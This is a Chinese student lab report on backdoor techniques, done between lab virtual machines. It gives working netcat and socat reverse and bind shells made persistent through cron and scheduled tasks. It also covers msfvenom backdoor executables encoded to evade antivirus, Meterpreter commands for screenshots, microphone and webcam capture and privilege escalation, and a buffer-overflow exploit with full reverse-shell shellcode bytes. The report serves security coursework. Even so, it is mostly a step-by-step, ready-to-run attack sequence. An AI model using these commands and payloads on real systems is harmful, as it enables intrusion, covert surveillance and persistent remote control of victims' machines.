2018-2019-2 20165212《網絡對抗技術》Exp2 後門原理與實踐

2018-2019-2 20165212《網絡對抗技術》Exp2 後門原理與實踐

1.實驗內容

  • (1)使用netcat獲取主機操做Shell,cron啓動
  • (2)使用socat獲取主機操做Shell, 任務計劃啓動
  • (3)使用MSF meterpreter(或其餘軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
  • (4)使用MSF meterpreter(或其餘軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
  • (5)可選加份內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈鏈接Shell。加份內容一併寫入本實驗報告。

實驗環境

  • 關閉防火牆的win7虛擬機,個人ip地址爲: 192.168.235.138 
  • kali虛擬機.ip地址爲: 192.168.235.137 
  • 兩臺虛擬機能夠ping通

實驗中用到的工具

  • netcat。在linux下叫ncat,咱們的kali機自帶,能夠直接用man ncat 命令查看。windows7中,直接在瀏覽器裏從 GitHub下載或者從本身機子裏拖拽進去。
  • socat。netcat的加強版。安裝方法同上。
  • meterpreter。kali機自帶,只在kali中用

實驗步驟

1.使用netcat獲取主機操做Shell,cron啓動

win7爲壞人,linux爲受害者。cron啓動

  • win7監聽,linux反彈鏈接
  • win7中cmd窗口中輸入: ncat.exe -l -p 9999 。 表示開始監聽9999端口。注意,要在netcat所在的目錄下進行輸入。

 

  • kali中輸入命令  nc 192.168.235.138 9999 -e /bin/sh 。這時候win7的cmd窗口裏就獲取了linux的shell了

 

  • cron啓動。Cron是Linux下的定時任務,每一分鐘運行一次,根據配置文件執行預設的指令。詳細說明能夠" man cron "。這裏的cron啓動時去讓linux受害者去定時反彈鏈接win7。
  • 用 crontab -e 指令去增長一條定時任務,
  •  
  • 格式以下
    • # m分鐘 h小時 dom日期 mon月 dow周幾 command執行的命令
      12 * * * * /bin/netcat 192.168.235.138 9999 -e /bin/sh

       

 

  • 寫完輸入指令 crontab -l 查看。  
  •  

  • 每一個小時的第12分鐘,kali中就會自動執行那條指令,因此若是目標ip138的機子整好就在9999端口監聽,那這時候就138就會得到kali的後門。固然也能夠正向鏈接,linux做爲受害者,cron指令寫成 nc -l -p 9999 -e /bin/sh ,而後壞人機win7中 nc IP 9999 ,也能得到shell

linux爲壞人,win7爲受害者。

  • linux監聽,輸入命令  nc -l -p 9999 
  • win7去反彈鏈接,在ncat目錄下輸入  ncat.exe -e cmd.exe 192.168.235.137 9999 
  •   這時在linux中能夠看到win7的cmd命令窗口
  •  

2.使用socat獲取主機操做Shell。 任務計劃啓動

  • 這意思是win7做爲受害者,用系統裏的任務計劃啓動,定時「要求被害」。因此,這裏只作win7做爲victim反向鏈接的。

 - 用 man socat 命令查看socat的介紹及相關用法: (socat圖)linux

  • win7中打開控制面板,點擊管理工具裏的計劃任務
  • 點擊右側的 建立任務 ,在 常規 選項卡里填名稱,本身之後要認得出來

 

  • 點擊 觸發器 選項卡,選擇新建,而後將開始任務設置爲 工做站鎖定時 

 

  • 再點擊 操做 選項卡,點擊新建,程序或腳本中選擇socat.exe路徑,在添加參數一欄中寫 tcp-listen:5212 exec:cmd.exe,pty,stderr (做用是把cmd.exe綁定到端口5314,同時把cmd.exe的stderr重定向到stdout上),點擊肯定 保存設置 :

 

  • 點擊左側的 任務計劃程序庫 ,點擊右邊的 顯示全部任務 ,而後再中間部分找到本身剛建立的任務,右鍵運行,彈出一個taskeng.exe框,而後切換到kali

 

 

  • 在Kali Linux中輸入 socat - tcp:192.168.235.138:5212 命令,能夠成功獲得一個cmd shell:

 

3.使用MSF meterpreter(或其餘軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

後門就是一個程序。git

  • 傳統的理解是:有人編寫一個後門程序,你們拿來用。
  • 後來有一些牛人呢,就想編寫一個平臺能生成後門程序。這個平臺呢,把後門的
    • 基本功能(基本的鏈接、執行指令),
    • 擴展功能(如蒐集用戶信息、安裝服務等功能),
    • 編碼模式,
    • 運行平臺,
    • 以及運行參數
  • 全都作成零件或可調整的參數。用的時候按須要組合,就能夠生成一個可執行文件。 典型的平臺就包括有:
  • intersect
  • Metaspolit的msfvenom指令
  • Veil-evasion

咱們接下來學習如何使用msfenom生成後門可執行文件。咱們要生成的這個後門程序是Meterpreter. 揭開Meterpreter的神祕面紗介紹了meterpreter的一些底層原理。web

  • 簡單粗暴 msfvenom -p windows/meterpreter/reversetcp LHOST=192.168.235.137 LPORT=5212 -f exe > 20165212_backdoor.exe  指令生成一個exe後門程序。完整指令是:shell

    msfvenom -p windows/meterpreter/reversetcp -x ./fenix.exe -e x86/shikataganai -i 5 -b ‘\x00’ LHOST=192.168.235.137 LPORT=5212 -f exe > 20165212_backdoor.exe

     

  • 參數說明:windows

    •  -p  使用的payload。payload翻譯爲有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode
    •  -x 使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中
    •  -e  使用的編碼器,用於對shellcode變形,爲了免殺
    •  -i  編碼器的迭代次數。如上即便用該編碼器編碼5次
    •  -b badchar 是payload中須要去除的字符
    •  LHOST  是反彈回連的IP
    •  LPORT 是回連的端口
    •  -f  生成文件的類型
    •  >  輸出到哪一個文件

 

  • 如今文件生成好了,先再win7的命令行中輸入 ncat -l 5212> 20165212backdoor.exe 開啓監聽並將接受的數據寫入20165212backdoor.exe文件中

 

  • 再kali中用 ncat -nv 192.168.235.138 5212 < 20165212_backdoor.exe  指令將數據傳過去

  • 彳亍,如今要用msf了,一個強大的平臺。。。本身感覺。kali中輸入 msfconsole :

 

  • 依次輸入如下命令
    • use exploit/multi/handler
      set payload windows/meterpreter/reverse_tcp
      set LHOST 192.168.235.137 //注意此處應爲Linux的IP!
      set LPORT 5212 //後門程序裏的端口號
      show options
      exploit

       

 

  • 說明:瀏覽器

    • LHOST須要和上一步生成backdoor.exe的一致,本例中即192.168.235.137,壞人的ip
    • LPORT也須要和上一步生成backdoor.exe的一致,即5212;
    • payload也要一致,即windows/meterpreter/reverse_tcp
  • 如今去win中雙擊運行20165212_backdoor.exe,點後win7沒反應,而後切回kali,經過msf的監聽進程得到win的主動連接,並獲得遠程控制shell服務器

 

4.使用MSF meterpreter(或其餘軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權

  • 承接上面的。要是誤操做什麼的不當心關掉了其中什麼東西也ok,win中任務管理器再進程中結束backdoor.exe,而後再照上面敲一遍。
  • 獲取截屏: screenshot  (截屏命令圖(抓的屏圖12))markdown

  •  

  •  

  •  

  • 獲取音頻: record_mic 網絡

  • .

     

  •  

  • 獲取攝像頭和錄像: webcam_snap webcam_stream 。.dom

  • 第一次沒成功,錯誤提示以下 由於win7上沒有裝驅動 ,在虛擬機窗口右下角有個攝像頭圖標,點它就自動安裝驅動了

  •   

     

     

  •  

     

  • 可是這個很蠢,由於攝像頭上的燈會亮,你偷拍別人會知道.. 

  •  getuid 獲取運行msf會話的用戶名,從而查看當前會話具備的權限

  •  sysinfo 得到目標系統的信息,機器名、操做系統等
  •  shutdown 命令,建議不要過早的嘗試這個命令
  •  ps 得到受害者機上運行 的進程信息

 

  •  migrate [] 命令,例如我把msf會話移植到1588 中,是explorer.exe,穩定的系統服務。從頭想起,咱們的實驗是把受害者綁起來給他植入後門,很無腦。若是是正常的利用系統漏洞、瀏覽器漏洞溢出而獲得的會話,好比IE瀏覽器,那麼msf meterpreter代碼存在於IE的內存空間中,那邊關掉IE瀏覽器,msf會話就沒了,可是若存在於 explorer這樣穩定的系統服務中,就能一直用。並且,這種移植是「無縫移植」,不用斷開已有的TCP鏈接。

 

  •  execute 命令,例如我直接與win的cmd.exe交互,輸入 execute -H -i -f cmd.exe ,獲得下圖所示的shell

 

  •  upload / download 命令,顧名思義——往受害機傳/從受害機下載 文件
  • .

     

  •  

  •  cat / edit  命令,查看/編輯文本

 

  • 權限提高: getsystem ,而後 getuid 查看權限(下圖中好像已是管理員權限)
  • 更多的meterpreter經常使用指令能夠經過輸入 help 獲取 

5.可選加份內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈鏈接Shell

  • 這個任務是kali監聽本身,本身用msfvenom -p linux/meterpreter/shell_reverse_tcp -b '\x00\x0a' LHOST=192.168.235.137 LPORT=5212 -f c 命令生成一段shellcode,複製下來去文本里刪掉全部引號和回車。若是後面 cat注入運行pwn1文件時 ps命令找不到pwn1進程,說明你的shellcode有壞字符。還有,生成的shellcode裏不能有\00和\0a,這兩個字符會致使進程秒死- -。雖然指令已經屏蔽了這兩個字符,可是編譯器不靠譜,須要本身再去檢查肉眼檢查就彳亍。
  •  

     

  •  perl -e 'print "A" x 32;print "\xa0\xd2\xff\xff\xda\xd5\xd9\x74\x24\xf4\xbd\xb2\x18\x85\x38\x5a\x31\xc9\xb1\x12\x31\x6a\x17\x83\xea\xfc\x03\xd8\x0b\x67\xcd\x2d\xf7\x90\xcd\x1e\x44\x0c\x78\xa2\xc3\x53\xcc\xc4\x1e\x13\xbe\x51\x11\x2b\x0c\xe1\x18\x2d\x77\x89\x5a\x65\x6c\xc0\x33\x74\x73\xc6\x9f\xf1\x92\x56\x79\x52\x04\xc5\x35\x51\x2f\x08\xf4\xd6\x7d\xa2\x69\xf8\xf2\x5a\x1e\x29\xda\xf8\xb7\xbc\xc7\xae\x14\x36\xe6\xfe\x90\x85\x69"' > input_try  命令生成input_try文件,要根據本身shellcode改!(這段shellcode的起始地址就是前4個字節是我已經找好地址的,正常流程須要像實驗1同樣在前面寫1234而後去找地址,shellcode的起始地址應該就是esp裏存的地址+4)
  •  

     

  • 新終端裏mfconsole命令運行msf,輸入下列指令
  •  use exploit/multi/handler
    set payload linux/x86/shell_reverse_tcp
    set LHOST 192.168.235.137 //注意此處應爲Linux的IP!
    set LPORT 5212 //後門程序裏的端口號
    show options
    exploit

     

  •  

     

  • 而後在原來終端裏(cat input_try;cat) | ./pwn1運行,回車一下,ok,而後等....等我找出毛病在哪(前面思路應該沒問題,估計問題出在生成shellcode指令那裏,由於找不到參考資料- -)
  • 我試了127.0.0.1 迴環地址和msf使用的5432端口生成shellcode,也是同樣的監聽不到。如今來回顧一下:首先,我用msfvenom命令生成了能反彈鏈接的shelldoce,假設這段shellcode能實現反彈鏈接功能,而後我把它注入到pwn1裏,32個A覆蓋緩衝區和esp,隨後pwn1文件就會跳轉到你shellcode的起始地址開始執行反彈鏈接操做,地址反覆覈對沒問題,gdb調試注入後的pwn1文件可以看到esp後面內存裏放的東西就是shellcode,意味着我這邊運行注入的pwn1程序回車一下,會馬上跳到shellcode並運行,可是msf裏監聽不到鏈接。我認爲是生成shellcode的指令有問題,就是那條msfvenom指令(生成linux系統下的), 書上和網上能找到的參考資料頗有限,就是-playroad 後面的參數,我就找到了一篇博客涉及到寫法,並且就寫了3個詞....作到這裏,,有點絕望。個人思路應該沒啥問題,但願你們能夠針對個人上述操做哪些地方可能存在問題在評論區指出!

 ———————上面的一堆是失敗的通過。。下面是成功的,可是是不符合要求的,隨便看看就好———————

  •  失敗的緣由在於我看的書、資料、博客太少了
  •  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.235.137 LPORT=5212 -x /home/20165212/exp2/exp2+/pwn1 -f elf > pwn2  這個指令,直接msf再pwn1基礎上生成一個注入了的shellcode的文件pwn2,而後去 msfconsole 運行msf,輸入下列指令
  •  use exploit/multi/handler
    set payload linux/x86/meterpreter/reverse_tcp
    set LHOST 192.168.235.137 //注意此處應爲Linux的IP!
    set LPORT 5212 //後門程序裏的端口號
    show options
    exploit

     

  • 而後另個終端裏chmod +x 賦執行權限,而後./pwn2那邊就監聽到了
  •  

 

 ———————下面是符合要求的、成功的!———————

  • 這一項的要求:生成shellcode,注入pwn1文件,運行pwn1文件,pwn1進程通過緩衝區溢出後返回到shellcode的起始地址,而後開始去反彈鏈接壞人,壞人得到受害者的shell(這裏面壞人和受害者都是linuxkali)
  • 以前錯因分析:msfvenom指令生成的shellcode代碼存在問題,因爲本人能力問題,無法找出機器碼中的錯誤在哪。
  • 步驟:https://www.exploit-db.com/shellcodes,這是一個shellcode網站,上面生成的的shellcode都是通過測試過可用的。在網站裏找一個linux/x86平臺的,反彈鏈接的shellcode,下載,複製出裏面的機器碼
  •  

     

  •  而後再linux使用用這段shellcode生成input_1文件,固然了,前面要先經過gdb找好 shellcode的起始地址,寫在最前面。具體命令是:
    perl -e 'print "A" x 32;print "\xa0\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_1

     

  •  而後另外一個新終端裏msfconsole打開msf,接着輸入如下指
  •  use exploit/multi/handler
    set payload linux/x86/shell_reverse_tcp
    set LHOST 127.0.0.1 
    set LPORT 4444 //這兩個都是根據你的shellcode來的
    show options
    exploit

     

  • 原終端裏 (cat input_1;cat) | ./pwn1 運行pwn1,再回車一下,那邊就能看到鏈接成功了
  •  

  •  

 

 

 

基礎問題回答

 

(1)例舉你能想到的一個後門進入到你係統中的可能方式?

 

——玩遊戲的會後開外掛,那時候我會本身關掉windows Defender和殺軟。遊戲外掛經過驅動劫持(聲卡),在和服務器數據互動的時候實現篡改。或者是瀏覽器漏洞,例如我用edge瀏覽器寫博客,它莫名其妙本身崩潰,還不保存!edge是win10自帶 的一個瀏覽器,兼容性應該沒問題,因此頻繁崩潰的緣由可能在於進程衝突、瀏覽器漏洞……

(2)例舉你知道的後門如何啓動起來(win及linux)的方式?

——我玩遊戲開外掛,那個外掛程序就是一個後門,在我啓動wegame時它會跟着啓動(不隱藏),這應該是手動觸發啓動

(3)Meterpreter有哪些給你映像深入的功能?

——shut down

(4)如何發現本身有系統有沒有被安裝後門?

——日誌,進程查看

實驗總結與體會

總結:

實驗內容較多,尤爲是是meterpreter實踐,有不少不少事能夠作,我只寫了看起來重要且經常使用的一些指令,更多的請參考《Metasploit滲透測試魔鬼訓練營》。本次實驗在一個理想化程度很高的環境下完成,這樣在現實中是沒有任何意義的。相比較於msf中花裏胡哨的操做,我以爲更重要的仍是去研究有堆棧保護、有殺軟、有防火牆的環境下如何滲透目標,哪怕是一個bit,由於要在那樣的基礎上咱們後續的實驗、操做纔有可行性。或者是幾我的湊各團隊,每一個人負責一塊。

體會:

markdown裏傳圖片功能壞了。。。針對第  5個任務,雖然如今作完了,可是我繼續去用第一種思路調指令,調好了再改。你們有什麼想法或者思路或者發現我哪裏作得有問題 請不要吝嗇啊,評論區互動

相關文章
相關標籤/搜索